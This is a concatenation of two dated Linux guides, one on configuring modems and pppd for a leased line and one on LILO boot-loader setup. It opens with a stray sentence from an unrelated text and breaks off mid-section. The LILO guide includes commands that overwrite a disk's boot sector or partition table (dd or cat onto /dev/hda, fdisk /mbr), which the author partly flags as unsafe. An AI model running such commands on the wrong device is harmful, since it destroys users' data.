It shouldn't be hard to run some benchmarking against these options and get both subjective and statistical measurings of performance. But I haven't done this, and I don't know of anyone who has.


Leased line Mini HOWTO

Rob van der Putten, rob@sput.nl

v2.1, 3 August 2000

Configuring your modem and pppd to use a 2 wire twisted pair leased line.

The most recent (beta) version of this HOWTO can be found at: http://www.sput.nl/software/leased-line/

1. Introduction

  • 1.1 Copyright and License
  • 1.2 What is a leased line
  • 1.3 Assumptions

2. Modem

  • 2.1 Modem Configuration
  • 2.2 Test
  • 2.3 Examples

3. PPPD

  • 3.1 Configuration
  • 3.2 Scripts
  • 3.3 Test


Leased line Mini HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Copyright and License

This document is distributed under the terms of the GNU Free Documentation License. You should have received a copy along with it. If not, it is available from http://www.fsf.org/licenses/fdl.html.

1.2 What is a leased line

Any fixed, that is permanent, point to point data communications link, which is leased from a telco or similar organisation. The leased line involves cables, such as twisted pair, coax or fiber optic, and may involve all sorts of other hardware such as (pupin) coils, transformers, amplifiers and regenerators.

This document deals with:

Configuring your modem and pppd to use a 2 wire twisted pair leased line.

This document does NOT deal with:

SLIP, getting or installing pppd, synchronous data communication, baseband modems, xDSL.

1.3 Assumptions

You should already have a working pppd on your system. You also need Minicom or a similar program to configure your modems.


Leased line Mini HOWTO: Modem

 Next Previous Contents

2. Modem

A leased line is not connected to a telephone exchange and does not provide DC power, dial tone, busy tone or ring signal. This means that your modems are on their own and have to be able to deal with this situation.

You should have 2 identical (including firmware version) external modems supporting both leased line and dumb mode. Make sure your modems can actually do this! Also make sure your modem is properly documented. You also need:

  • 2 fully wired shielded RS232 cables. The shield should be connected to the connector shell (not pin 1) at both ends (not at one end).
  • A RS232 test plug may be handy for test purposes.
  • 2 RJ11 cords, one for each end of the leased line.
  • A basic understanding of `AT' commands.

2.1 Modem Configuration

A note on modem configuration and init strings in general: Configure your modem software such as minicom or (m)getty to use the highest possible speed; 57600 bps for 14k4 and 115200 bps for 28k8 or faster modems. Lots of people use very long and complicated init strings, often starting with AT&F and containing lots of modem brand and -type specific commands. This however is needlessly complicated. Most programs feel happy with the same modem settings, so why not write these settings in the non volatile memory of all your modems, and only use `ATZ' as an init string in all your programs. This way you can swap or upgrade your modems without ever having to reconfigure any of your software.

Most programs require you to use the following settings;

  • Fixed baud rate (no auto baud)
  • Hardware bidirectional RTS-CTS flow control (no x-on/x-off)
  • 8 Bits, no parity, 1 stopbit
  • The modem should produce the TRUE DCD status (&C1)
  • The modem should NOT ignore the DTR status (&D2 or &D3)
Check this with AT&V or AT&Ix (consult your modem documentation)

These settings are not necessarily the same as the default factory profile (&F), so starting an init string with AT&F is probably not a good idea in the first place. The smart thing to do is probably to use AT&F only when you have reason to believe that the modem setup stored in the non volatile memory is really screwed up. If you think you have found the right setup for your modems, write it to non volatile memory with AT&W and test it thoroughly with Z-modem file transfers of both ASCII text and binary files. Only if all of this works perfectly should you configure your modems for leased line.

Find out how to put your modem into dumb mode and, more importantly, how to get it out of dumb mode; The modem can only be reconfigured when it is not in dumb mode. Make sure you actually configure your modems at the highest possible speed. Once in dumb mode it will ignore all `AT' commands and consequently will not adjust its speed to that of the COM port, but will use the speed at which it was configured instead (this speed is stored in a S-register by the AT&W command).

Now configure your modem as follows;

  • Reset on DTR toggle (&D3, this is sometimes a S register). This setting is required by some ISP's!
  • Leased line mode (&L1 or &L2, consult your modem documentation)
  • The remote modem auto answer (S0=1), the local originate (S0=0)
  • Disable result codes (Q1, sometimes the dumb mode does this for you)
  • Dumb mode (\D1 or %D1, this is sometimes a jumper) In dumb mode the modem will ignore all AT commands (sometimes you need to disable the ESC char as well).
Write the configuration to non-volatile memory (&W).

2.2 Test

Now connect the modems to 2 computers using the RS232 cables and connect the modems to each other using a RJ11 lead. Use a modem program such as Minicom (Linux), procom or telix (DOS) on both computers to test the modems. You should be able to type text from one computer to the other and vice versa. If the screen produces garbage check your COM port speed and other settings. Now disconnect and reconnect the RJ11 cord. Wait for the connection to reestablish itself. Disconnect and reconnect the RS232 cables, switch the modems on and off, stop and restart Minicom. The modems should always reconnect at the highest possible speed (some modems have speed indicator leds). Check whether the modems actually ignores the ESC (+++) character. If necessary disable the ESC character.

If all of this works you may want to reconfigure your modems; Switch off the sound at the remote modem (M0) and put the local modem at low volume (L1).

2.3 Examples

Hi-Tech

This is a rather vague `no name clone modem'. Its config string is however typical and should work on most modems.

Originate (local):

ATL1&C1&D3&L2%D1&W&W1

Answer (remote):

ATM0L1&C1&D3&L2%D1S0=1&W&W1

Tornado FM 228 E

This is what should work;

Originate (local):

ATB15L1Q1&C1&D3&L2&W&W1

Answer (remote):

ATM0B15M0Q1&C1&D3&L2S0=1&W&W1

Move the dumb jumper from position 2-3 to 1-2.

Due to a firmware bug, the modems will only connect after being hard reset (power off and on) while DTR is high. I designed a circuit which hard resets the modem on the low to high transition of DTR. The FreeBSD pppd however, isn't very happy about this. By combining the setting &D0 with a circuit which resets on the high to low transition instead, this problem can be avoided.

Tron DF

The ESC char should be disabled by setting S2 > 127;

Originate:

ATL1&L1Q1&C1&D3S2=171\D1&W

Answer:

ATM0&L2Q1&C1&D3S0=1S2=171\D1&W

US Robotics Courier V-Everything

The USR Sportster and USR Courier-I do not support leased line. You need the Courier V-everything version for this job. There is a webpage on the USR site `explaining' how to set-up your Courier for leased line. However, if you follow these instructions you will end up with a completely brain dead modem, which can not be controlled or monitored by your pppd.

The USR Courier can be configured with dip switches, however you need to feed it the config string first. First make sure it uses the right factory profile. Unlike most other modems it has three; &F0, &F1 and &F2. The default, which is also the one you should use, is &F1. If you send it an AT&F, however it will load the factory profile &F0! For the reset on DTR toggle you set bit 0 of S register 13. This means you have to set S13 to 1. Furthermore you need set it to leased line mode with &L1; ATS13=1&L1&W The dip switches are all default except for the following:

3

OFF Disable result codes

4

ON Disable offline commands

5

ON For originate, OFF For answer

8

OFF Dumb mode


Leased line Mini HOWTO: PPPD

 Next Previous Contents

3. PPPD

You need a pppd (Point to Point Protocol Daemon) and a reasonable knowledge of how it works. Consult the relevant RFC's or the Linux PPP HOWTO if necessary. Since you are not going to use a login procedure, you don't use (m)getty and you do not need a (fake) user associated with the pppd controlling your link. You are not going to dial so you don't need any chat scripts either. In fact, the modem circuit and configuration you have just build, are rather like a fully wired null modem cable. This means you have to configure your pppd the same way as you would with a null modem cable.

For a reliable link, your setup should meet the following criteria;

  • Shortly after booting your system, pppd should raise the DTR signal in your RS232 port, wait for DCD to go up, and negotiate the link.
  • If the remote system is down, pppd should wait until it is up again.
  • If the link is up and then goes down, pppd should reset the modem (it does this by dropping and then raising DTR), and then try to reconnect.
  • If the quality of the link deteriorates too much, pppd should reset the modem and then reestablish the link.
  • If the process controlling the link, that is the pppd, dies, a watchdog should restart the pppd.

3.1 Configuration

Suppose the modem is connected to COM2, the local IP address is `Loc_Ip' and the remote IP address is `Rem_Ip'. We want to use 576 as our MTU. The /etc/ppp/options.ttyS1 would now be:

crtscts
mru 576
mtu 576
passive
Loc_Ip:Rem_Ip
-chap
modem
#noauth
-pap
persist
Stuff like `asyncmap 0', `lock', `modem' and `-detach' are probably already in /etc/ppp/options. If not, add them to your /etc/ppp/options.ttyS1. So, if the local system is 192.168.1.1 and the remote system is 10.1.1.1, then /etc/ppp/options.ttyS1 on the local system would be:
crtscts
mru 576
mtu 576
passive
192.168.1.1:10.1.1.1
-chap
modem
#noauth
-pap
persist
The options.ttyS1 on the remote system would be:
crtscts
mru 576
mtu 576
passive
10.1.1.1:192.168.1.1
-chap
modem
#noauth
-pap
persist
The passive option limits the number of (re)connection attempts. The persist option will keep pppd alive in case of a disconnect or when it can't connect in the first place. If you telnet a lot while doing filetransfers (FTP or webbrowsing) at the same time, you might want to use a smaller MTU and MRU such as 296. This will make the remote system more responsive. If you don't care much about telnetting during FTP, you could set the MTU and MRU to 1500. Keep in mind though, that UDP cannot be fragmented. Speakfreely for instance uses 512 byte UDP packets. So the minimum MTU for speakfreely is 552 bytes. The noauth option may be necessary with some newer distributions.

3.2 Scripts

Starting the pppd and keeping it alive

You could start the pppd form a boot (rc) script. However, if you do this, and the pppd dies, you are without a link. A more stable solution, is to start the pppd from /etc/inittab;

s1:23:respawn:/usr/sbin/pppd /dev/ttyS1 115200
This way, the pppd will be restarted if it dies. Make sure you have a `-detach' option (nodetach on newer systems) though, otherwise inittab will start numerous instances of pppd, will complaining about `respawning too fast'.

Note: Some older systems will not accept the speed `115200'. In this case you will have to set the speed to 38400 en set the `spd_vhi' flag with setserial. Some systems expect you to use a `cua' instead of `ttyS' device.

Setting the routes

The default route can be set with the defaultroute option or with the /etc/ppp/ip-up script;

#!/bin/bash
case $2 in
     /dev/ttyS1)
          /sbin/route add -net 0.0.0.0 gw Rem_Ip netmask 0.0.0.0
          ;;
esac
Ip-up can also be used to sync your clock using netdate.

Of course the route set in ip-up is not necessarily the default route. Your ip-up sets the route to the remote network while the ip-up script on the remote system sets the route to your network. If your network is 192.168.1.0 and your ppp interface 192.168.1.1, the ip-up script on the remote machine looks like this;

#!/bin/bash
case $2 in
   /dev/ttyS1)
      /sbin/route add -net 192.168.1.0 gw 192.168.1.1 netmask 255.255.255.0
      ;;
esac
The `case $2' and `/dev/ttyS1)' bits are there in case you use more than one ppp link. Ip-up will run each time a link comes up, but only the part between `/dev/ttySx)' and `;;' will be executed, setting the right route for the right ttyS. You can find more about routing in the Linux Networking HOWTO section on routing.

3.3 Test

Test the whole thing just like the modem test. If it works, get on your bike and bring the remote modem to the remote side of your link. If it doesn't work, one of the things you should check is the COM port speed; Apparently, a common mistake is to configure the modems with Minicom using one speed and then configure the pppd to use an other. This will NOT work! You have to use the same speed all of the time!


LILO mini-HOWTO

Miroslav "Misko" Skoric, m.skoric@eunet.yu

v3.10, 2002-04-06

LILO is the most used Linux Loader for the x86 flavour of Linux; I'll call it Lilo rather than LILO here because I don't appreciate uppercase. This file describes some typical Lilo installations. It's intended as a supplement to the Lilo User's Guide. I think examples are informative even if your setup isn't much like mine. I hope this saves you trouble. Since Lilo's own documentation is very good, who's interested in the details is referred to /usr/doc/lilo* (once upon a time said gentlemen like Cameron Spitzer and Alessandro Rubini who have made early versions of this document)

This version of Lilo mini-HOWTO is based on work of Cameron Spitzer (cls@truffula.sj.ca.us) and Alessandro Rubini (rubini@linux.it). There are also contributions from Tony Harris (tony@nmr.mgh.harvard.edu) and Marc Tanguy (tanguy@ens.uvsq.fr). Well, I have used materials from the authors mentioned - without changes - and added some pointers related to configuring LILO for using with Windows NT and Windows 2000. More detailed information about the activation of Windows NT/2000 from LILO menu, you may find in wonderfull Linux+WindowsNT mini-HOWTO.

1. Introduction

2. Background Information and Standard Installation

  • 2.1 Where Should I Install Lilo?
  • 2.2 How Should I Configure my IDE Hard Drives?
  • 2.3 How Can I Interact at Boot Time?
  • 2.4 How Can I Uninstall Lilo?
  • 2.5 How to make a ram disk?

3. The Simple Configuration

  • 3.1 How to Deal with Big Kernels
  • 3.2 How to boot Windows NT from 'LILO boot:' menu
  • 3.3 How to boot Windows 2000 from 'LILO boot:' menu

4. Installing hdc to Boot as hda and Using bios=

5. Using Lilo When the BIOS Can't See the Root Partition

6. How do i know the BIOS number for my SCSI disks

  • 6.1 The theory
  • 6.2 How to swap linux and NT booting ?
  • 6.3 Miscellaneous

7. Accessing Huge Disks When the BIOS Can't

8. Booting from a Rescue Floppy

9. Further Information

  • 9.1 Copyright
  • 9.2 Disclaimer
  • 9.3 News
  • 9.4 Credits
  • 9.5 HOWTO
  • 9.6 Mini-HOWTO
  • 9.7 Local Resources
  • 9.8 Web Pages

10. GETTING HELP


LILO mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

Although the documentation found in Lilo's sources (the one installed in /usr/doc/lilo-version) is very comprehensive, most Linux users experience some trouble in building their own /etc/lilo.conf file. This document is meant to support them by giving the minimal information and by showing five sample installations:

  • The first example is the classical ``Linux and other'' installation.
  • The next one shows how to install Lilo on a hard drive connected as /dev/hdc that will boot as /dev/hda. This is usually needed when you install a new Linux drive from your own running system. This also tells how to boot from SCSI disks when your BIOS is modern enough.
  • The third example shows how to boot a Linux system whose root partition can't be accessed by the BIOS.
  • The next sample file is used to access huge disks, that neither the BIOS nor DOS can access easily (this one is somehow outdated).
  • The last example shows how to restore a damaged disk, if the damage resulted from installing another operating system).

The last three examples are by Cameron, cls@truffula.sj.ca.us, who wrote the original document. Alessandro rubini@linux.it doesn't run anything but Linux, so he can't check nor update them by himself. Needless to say, any feedback is welcome.


LILO mini-HOWTO: Background Information and Standard Installation

 Next Previous Contents

2. Background Information and Standard Installation

When Lilo boots the system, it uses BIOS calls to load the Linux kernel off the disk (IDE drive, floppy or whatever). Therefore, the kernel must live in some place that can be accessed by the bios.

At boot time, Lilo is not able to read filesystem data, and any pathname you put in /etc/lilo.conf is resolved at installation time (when you invoke /sbin/lilo). Installation time is when the program builds the tables that list which sectors are used by the files used to load the operating system. As a consequence, all of these files must live in a partition that can be accessed by the BIOS (the files are usually located in the /boot directory, this means that only the root partition of your Linux system needs to be accessed via the BIOS).

Another consequence of being BIOS-based is that you must reinstall the loader (i.e., you must reinvoke /sbin/lilo) any time you modify the Lilo setup. Whenever you recompile your kernel and overwrite your old image you must reinstall Lilo.

2.1 Where Should I Install Lilo?

The boot= directive in /etc/lilo.conf tells Lilo where it should place its primary boot loader. In general, you can either specify the master boot record (/dev/hda) or the root partition of your Linux installation (is usually is /dev/hda1 or /dev/hda2).

If you have another operating system installed in your hard drive, you'd better install Lilo to the root partition instead of the MBR. In this case, you must mark the partition as ``bootable'' using the ``a'' command of fdisk or the ``b'' command of cfdisk. If you don't overwrite the master boot sector you'll find it easier to uninstall Linux and Lilo if needed.

Of course, you always have a way to avoid some "rules" like above. Well, you may install Lilo to the MBR even if you already have another operating system installed there. For example, if you installed Windows NT 4.0 as the first operating system on your machine, then NT's boot loader was placed into the MBR so you were able to boot NT without problems. After you installed Linux and chose to install Lilo to the MBR, Lilo rewrote NT's boot loader. Next time you boot your machine, you won't be able to boot NT. But, that is no problem. You should edit your /etc/lilo.conf and add a new entry for NT. Next time you re-boot your system, there will be the new added NT entry under Lilo menu. The same thing happened when I installed Windows 2000 instead of Windows NT.

2.2 How Should I Configure my IDE Hard Drives?

I personally don't use LBA or LARGE settings in the BIOS (but I only run Linux); they are horrible kludges forced on by design deficiencies in the PC world. This requires that the kernel lives in the first 1024 cylinders, but this is not a problem as long as you partition your hard drives and keep root small (as you should do anyways).

If your hard disk already carries another operating system, you won't be able to modify the BIOS settings, or the old system won't work any more. All recent Lilo distribution are able to deal with LBA and LARGE disk settings.

Note that the "linear" keyword in /etc/lilo.conf can help in dealing with geometry problems. The keyword instructs Lilo to use linear sector addresses instead of sector/head/cylinder tuples. Conversion to 3D addresses is delayed to run-time, therefore making the setup more immune to geometry problems.

If you have more than one hard disk and some of them are only used by Linux and are not involved in the boot process, you can tell your BIOS that they are not installed. Your system will boot more quickly and Linux will autodetect all the disks in no time. I often switch disks in my computers, but I never touch the BIOS configuration.

2.3 How Can I Interact at Boot Time?

When you see the Lilo prompt, you can hit the <Tab> key to show the list of possible choices. If Lilo is not configured to be interactive, press and hold the <Alt> or <Shift> key before the ``LILO'' message appears.

If you choose to boot a Linux kernel, you can add command-line arguments after the name of the system you choose. The kernel accepts many command-line arguments. All the arguments are listed in the ``BootPrompt-HOWTO'' by Paul Gortmaker, and I won't replicate it here. A few command line arguments, however, are particularly important and worth describing here:

  • root=: you can tell the Linux kernel to mount as root a different partition than the one appearing in /lilo.conf. For example, my system has a tiny partition hosting a minimal Linux installation, and I've been able to boot the system after destroying my root partition by mistake.
  • init=: version 1.3.43 and newer of the Linux kernel can execute another command instead of /sbin/init, as specified on the command line. If you experience bad problems during the boot process, you can access the bare system by specifying init=/bin/sh (when you are at the shell prompt you most likely will need to mount your disks: try ``mount -w -n -o remount /; mount -a'', and remember to ``umount -a'' before turning off the computer).
  • A number: by specifying a number on the kernel command line, you instruct init to enter a specific run-level (the default is usually 3 or 2, according to the distribution you chose). Refer to the init documentation, to /etc/inittab and to /etc/rc*.d to probe further.

2.4 How Can I Uninstall Lilo?

When Lilo overwrites a boot sector, it saves a backup copy in /boot/boot.xxyy, where xxyy are the major and minor numbers of the device, in hex. You can see the major and minor numbers of your disk or partition by running ``ls -l /dev//device''. For example, the first sector of /dev/hda (major 3, minor 0) will be saved in /boot/boot.0300, installing Lilo on /dev/fd0 creates /boot/boot.0200 and installing on /dev/sdb3 (major 8, minor 19) creates /boot/boot.0813. Note that Lilo won't create the file if there is already one so you don't need to care about the backup copy whenever you reinstall Lilo (for example, after recompiling your kernel). The backup copies found in /boot/ are always the snapshot of the situation before installing any Lilo.

If you ever need to uninstall Lilo (for example, in the unfortunate case you need to uninstall Linux), you just need to restore the original boot sector. If Lilo is installed in /dev/hda, just do ``dd if=/boot/boot.0300 of=/dev/hda bs=446 count=1'' (I personally just do ``cat /boot/boot.0300 > /dev/hda'', but this is not safe, as this will restore the original partition table as well, which you might have modified in the meanwhile). This command is much easier to run than trying ``fdisk /mbr'' from a DOS shell: it allows you to cleanly remove Linux from a disk without ever booting anything but Linux. After removing Lilo remember to run Linux' fdisk to destroy any Linux partition (DOS' fdisk is unable to remove non-dos partitions).

If you installed Lilo on your root partition (e.g., /dev/hda2), nothing special needs to be done to uninstall Lilo. Just run Linux' fdisk to remove Linux partitions from the partition table. You must also mark the DOS partition as bootable.

2.5 How to make a ram disk?

Notice: If you find the next section difficult to read, you may also look for the web page: http://surfer.nmr.mgh.harvard.edu/partition/ramdisk.html where you would find the "original" of this contribution ...

by Tony Harris

16 Oct 2000

ram disk eenie-weenie HOWTO

If your root file system is on a device for which your kernel has no compiled-in driver, you will need to use lilo to load that driver as a module very early in the boot cycle. There are only two easy steps:

  • make a ram disk image with /mkinitrd
  • modify lilo.conf to point to the image

First, I cd over to /boot:

System.map                  chain.b                module-info-2.2.16-3ext3
System.map-2.2.16-3         initrd-2.2.16-3.img    vmlinux-2.2.16-3
System.map-2.2.16-3ext3     vmlinux-2.2.16-3ext3
vmlinuz                     kernel.h
boot.b                      map                    vmlinuz-2.2.16-3
bz.2.2.15.juke.Image        module-info            vmlinuz-2.2.16-3ext3
bzImage-2.2.14              module-info-2.2.16-3

Here you can see that I have a 2.2.16-3 kernel and I have added a second kernel with ext3 support (vmlinuz-2.2.16-3ext3). There is already a ram disk image for my first kernel (initrd-2.2.16-3.img)

To make a new image for the second kernel, I type the following (stuff I type is in bold):

boot# mkinitrd initrd-2.2-16-3ext3.img 2.2.16-3ext3

mkinitrd is a shellscript that looks at the modules needed by my kernel, then makes an ext2 filesystem containing them. If we look inside the image we see this is the case:

boot# cat initrd-2.2.16-3ext3.img | gunzip > /tmp/myimage

boot# file /tmp/myimage

/tmp/myimage: Linux/i386 ext2 filesystem/

You do not have to look inside your image. Only making the image and modifying lilo.conf are necessary steps. However, discussion of the ramdisk image is provided for pedagogic purposes.

In order to look inside, I need to mount the image as though it were a filesystem:

boot# mount /tmp/myimage /mnt/tmp -t ext2 -o loop=/dev/loop3

boot# ls /mnt/tmp

bin dev etc lib linuxrc

boot# find /mnt/tmp

mnt/tmp/

mnt/tmp/lib/

mnt/tmp/lib/aic7xxx.o/

mnt/tmp/bin/

mnt/tmp/bin/sh/

mnt/tmp/bin/insmod/

mnt/tmp/etc/

mnt/tmp/dev/

mnt/tmp/dev/console/

mnt/tmp/dev/null/

mnt/tmp/dev/ram/

mnt/tmp/dev/systty/

mnt/tmp/dev/tty1/

mnt/tmp/dev/tty2/

mnt/tmp/dev/tty3/

mnt/tmp/dev/tty4/

mnt/tmp/linuxrc/

The most important part of this ram disk image is aic7xxx.o, which is my scsi module.

Finally, I move on to the last step, modifying /etc/lilo.conf:

Here is my entry in lilo.conf that corresponds to the kernel and image I just created:

image=boot/vmlinuz-2.2.16-3ext3/

label=linux.ext3

initrd=boot/initrd-2.2.16-3ext3.img/

read-only

root=dev/hdb3/

That's it. Run /lilo as root and reboot.

If you have problems, check out the kernel HOWTO. There are a couple things you need to have covered: you need your kernel modules compiled and living in /etc/conf.modules.


LILO mini-HOWTO: The Simple Configuration

 Next Previous Contents

3. The Simple Configuration

Most Lilo installations use a configuration file like the following one:

boot = /dev/hda   # or your root partition
delay = 10        # delay, in tenth of a second (so you can interact)
vga = 0           # optional. Use "vga=1" to get 80x50
#linear           # try "linear" in case of geometry problems.

image = /boot/vmlinux  # your zImage file
  root = /dev/hda1     # your root partition
  label = Linux        # or any fancy name
  read-only            # mount root read-only

other = /dev/hda4   # your dos partition, if any
  table = /dev/hda  # the current partition table
  label = dos       # or any non-fancy name

You can have multiple ``image'' and ``other'' sections if you want. It's not uncommon to have several kernel images configured in your lilo.conf, at least if you keep up to date with kernel development.

3.1 How to Deal with Big Kernels

If you compile a ``zImage'' kernel and it is too big to fit in half a megabyte (this is commong with new 2.1 kernels), you should build a ``big zImage'' instead: ``make bzImage''. To boot a big kernel image nothing special is needed, but you need version 18 or newer of Lilo. If your installation is older, you should upgrade your Lilo package.

3.2 How to boot Windows NT from 'LILO boot:' menu

Here I will give you an order of routines you have to do if you want to have both Linux and NT entries under Lilo menu:

  • First of all, I would suggest you to install a fresh copy of Windows NT 4.0 on your hard disk. I suppose that you already made a backup of your important data, so the NT installation shouldn't be a problem. During the NT installation, setup is not going to ask you where to place NT's boot loader, so it would be placed into the MBR (Master Boot Record) of your hard disk. But, there is a possibility for a previous content of the MBR to remain within the MBR (especially any previous Lilo), so I would suggest you (before installation of NT) to boot the computer with a DOS floppy diskette having DOS version of FDISK. At the prompt a:\ just enter the command: fdisk /mbr and restart the computer again (without that floppy).

  • After you have successfully installed your NT, you will see that it uses the whole hard disk or a specific partition of the hard disk (depending on what you decided during the setup process). So, it is advisible to 'shrink' the partition where NT resides in order to make some free space on the disk. Onto that free space you will install your Linux. After you have your NT configured and running, you have to boot your computer using a floppy diskette with Partition Magic utility by Power Quest. It is a graphical tool able to see all partitions on all hard disks you have. The best thing is that you can make some changes with your partitions but not to destroy your existing data. One of the available changes is to make your existing partition(s) smaller, so to get some free space on the disk(s) for other purposes. Although you are advised to make a backup before you make any changes to the partitions, I usually practise to 'shrink' NT's partition before I installed anything but NT itself (so, if needed, a repetitive re-installation wouldn't be a problem). Well, Partition Magic (or any other similar utility you are familiar with) will shrink your NT's partition (either NTFS or FAT) to a smaller measure and place it to either the beginning or to the end of the previous measure. It means that you may choose to have your 'shrinked' NT partition at the beginning or at the end of your disk (I usually choose NT to be at the beginning, so the ending part of the disk will become a 'free space'). After the 'shrinkin' is finished, you may re-boot your NT in order to check the new situation: you may use Windows Explorer or Disk Administrator for that.

  • So far so good. Next step is to install your Linux. Case you are familiar with RedHat distribution (I hope with other distros is the same or similar), you start by putting your installation CD in the drive and re-boot the computer). Well, when you are about to choose what type of installation it will be (Gnome or KDE Workstation, Custom, etc.) you may choose whatever you planned before, but I would suggest to install a Workstation at first. This is good because Linux setup will find automatically the free space on the (first) hard disk, make all partitions needed for Linux, format them properly, make majority of option by default so you won't have much pain during the setup (later, if you want, you may either to add missing components or re-install Linux as Custom over the existing linux partitions). Lilo should go to the MBR.

  • After it looks that Linux installation is finished, you are going to re-start the computer and there there you will only see Lilo with one Linux entry to boot (or maybe more than one Linux entry, in case your hardware is multi-processor one). But, don't panic! Your Windows NT is still there where you had installed it before Linux. You should become some familiar with Linux as soon as possible, in order to be able to find and edit your new /etc/lilo.conf file. When you open this file for the first time, you'll see that there is only one (or more) Linux entry. Well, you should know the exact position (read: a partition) where Windows NT has been installed, so you could add an appropriate entry into /etc/lilo.conf file. After you do that, restart Lilo and, after the next re-boot, you will have both 'linux' and 'nt' entries under Lilo menu.

3.3 How to boot Windows 2000 from 'LILO boot:' menu

Well, you may use the same procedure as described above. I suggest you to read Linux+WinNT mini-HOWTO that also talks about booting Windows 2000, which is installed on the same part of disk where Windows NT was before. There you'll find many useful details regarding various Linux+WinNT/2000/98 combinations.


LILO mini-HOWTO: Installing hdc to Boot as hda and Using bios=

 Next Previous Contents

4. Installing hdc to Boot as hda and Using bios=

Lilo allows to map the kernel image from one disk and instruct the BIOS to retrieve it from another disk. For example, it's common for me to install Linux on a disk I connect to hdc (master disk of secondary controller) and boot it as a standalong system on the primary IDE controller of another computer. I copied the installation floppy to a tiny partition, so I can run chroot in a virtual console to install hdc while I use the system to do something else.

The lilo.conf file I use to install Lilo looks like:

# This file must be used from a system running off /dev/hdc
boot = /dev/hdc   # overwrite MBR of hdc
disk = /dev/hdc   # tell how hdc will look like:
   bios = 0x80    #  the bios will see it as first drive
delay = 0
vga = 0

image = /boot/vmlinux  # this is on /dev/hdc1
  root = /dev/hda1     # but at boot it will be hda1
  label = Linux
  read-only

This configuration file must be read by a Lilo running off /dev/hdc1. The Lilo maps that get written the boot sector (/dev/hdc) must refer to the files in /boot (currently installed as hdc); such files will be accessed under hda when this disk will be booted as a standalone system.

I call this configuration file /mnt/etc/lilo.conf.hdc (/mnt is where hdc is mounted during the installation. I install Lilo by invoking ``cd /mnt; chroot . sbin/lilo -C /etc/lilo.conf.hdc''. Refer to the manual page for chroot if this looks magic.

The ``bios='' directive in lilo.conf is used to tell Lilo what the BIOS thinks of your devices. BIOS calls identify floppy disks and hard drives with a number: 0x00 and 0x01 select the floppy drives, 0x80 and the following numbers select hard disks (old BIOSes can only access two disks). The meaning of ``bios = 0x80 in the previous sample file is therefore ``use 0x80 in your BIOS calls for /dev/hdc''.

This Lilo directive can be handy in other situations, for example when your BIOS is able to boot from SCSI disks instead of IDE ones. When both IDE and SCSI devices are there, Lilo can't tell whether 0x80 will refer to one or the other because the user is able to choose it in the BIOS configuration menus, and the BIOS can't be accessed while Linux is running.

By default, Lilo assumes that IDE drives are mapped first by the BIOS, but this can be overridden by using instructions like these in /etc/lilo.conf:

disk = /dev/sda
  bios = 0x80


LILO mini-HOWTO: Using Lilo When the BIOS Can't See the Root Partition

 Next Previous Contents

5. Using Lilo When the BIOS Can't See the Root Partition

I have two IDE drives, and a SCSI drive. The SCSI drive can't be seen from BIOS. The Linux Loader, Lilo, uses BIOS calls and can only see drives that BIOS can see. My stupid AMI BIOS will only boot from "A:" or "C:" My root file system is on a partition on the SCSI drive.

The solution consists in storing the kernel, map file, and chain loader in a Linux partition on the first IDE. Notice that it is not necessary to keep your kernel on your root partition.

The second partition on my first IDE (/dev/hda2, the Linux partition used to boot the system) is mounted on /u2. Here is the /etc/lilo.conf file I used.

#  Install Lilo on the Master Boot Record
#  on the first IDE.
#
boot = /dev/hda
#  /sbin/lilo (the installer) copies the Lilo boot record
#  from the following file to the MBR location.
install = /u2/etc/lilo/boot.b
#
#  I wrote a verbose boot menu.  Lilo finds it here.
message = /u2/etc/lilo/message
#  The installer will build the following file. It tells
#  the boot-loader where the blocks of the kernels are.
map = /u2/etc/lilo/map
compact
prompt
#  Wait 10 seconds, then boot the 1.2.1 kernel by default.
timeout = 100
#  The kernel is stored where BIOS can see it by doing this:
#      cp -p /usr/src/linux/arch/i386/boot/zImage /u2/z1.2.1
image = /u2/z1.2.1
        label = 1.2.1
#  Lilo tells the kernel to mount the first SCSI partition
#  as root.  BIOS does not have to be able to see it.
        root = /dev/sda1
#  This partition will be checked and remounted by /etc/rc.d/rc.S
        read-only
#  I kept an old Slackware kernel lying around in case I built a
#  kernel that doesn't work.  I actually needed this once.
image = /u2/z1.0.9
        label = 1.0.9
        root = /dev/sda1
        read-only
#  My DR-DOS 6 partition.
other = /dev/hda1
        loader=/u2/etc/lilo/chain.b
        label = dos
        alias = m


LILO mini-HOWTO: How do i know the BIOS number for my SCSI disks

 Next Previous Contents

6. How do i know the BIOS number for my SCSI disks

The contribution from Marc Tanguy (mtanguy@ens.uvsq.fr), 27 Sep 2001

6.1 The theory

Actually, it exists two ways to know it :

If you have an adaptec scsi card (2940u2, 29160, 39160), you simply use the 'diagnose' mode (using BIOS v3.10.0 recommended). It must be activated in the scsi card BIOS menu. Then you just have to wait and see something like :

... | ID | LUN | Vendor | Product | Rev | Size | Sync | Bus | HD#
... | 0 | 0 | QUANTUM | ATLAS10K2 | DDD6 | 17GB | 160 | 16 | 80h
... | 1 | 0 | QUANTUM | ATLAS10K2 | DDD6 | 17GB | 160 | 16 | 81h
... | 2 | 0 | IBM | DDRS | DC1B | 4GB | 80 | 16 | 82h
... | 3 | 0 | IBM | DNES | SAH0 | 9GB | 80 | 16 | 83h

If you don't own an adaptec card, you have to know what is the 'booting' disk (usually ID 0, but not necessary, it can be defined in the scsi card BIOS) where LILO is going to be found and start : this is the first disk so it has number 0x80. Then it's very simple, the BIOS follows the IDs.

By exemple :

ID 0 -> boot  -> 0x80
ID 1 -> empty
ID 2 -> disk  -> 0x81
ID 3 -> disk  -> 0x82

or

ID 0 -> disk  -> 0x81
ID 1 -> empty
ID 2 -> disk  -> 0x82
ID 3 -> boot  -> 0x80
ID 4 -> disk  -> 0x83

This part doesn't care at all of what is installed on the scsi drives. But you should note that if you use an ID higher than the SCSI adapter it c an be a problem. So you should always try to set the SCSI adapter ID after the SCSI devices IDs.

6.2 How to swap linux and NT booting ?

Ok, but NT must be the first disk to boot, so i want it in 0x80, but i already have LILO and a full ext2 only drive on 0x80 and my NT drive is in 0x83. How can i 'swap' linux and NT ? This a very easy : you just have to tell BIOS that NT drive is now 0x80 and the Linux drive is 0x83.

other=/dev/sdd1
      label=nt
      map-drive = 0x83
      to = 0x80
      map-drive = 0x80
      to = 0x83

This change will produce a warning :

  Warning: BIOS drive 0x8? may not be accessible

but if you know what you are doing it will run without problem.

I used it on this configuration which has a Red Hat Linux 7.1 and a Windows 2000 Pro :

Name        Flags      Part Type  FS Type          [Label]        Size (MB)

Disk Drive: /dev/sda - 0x80
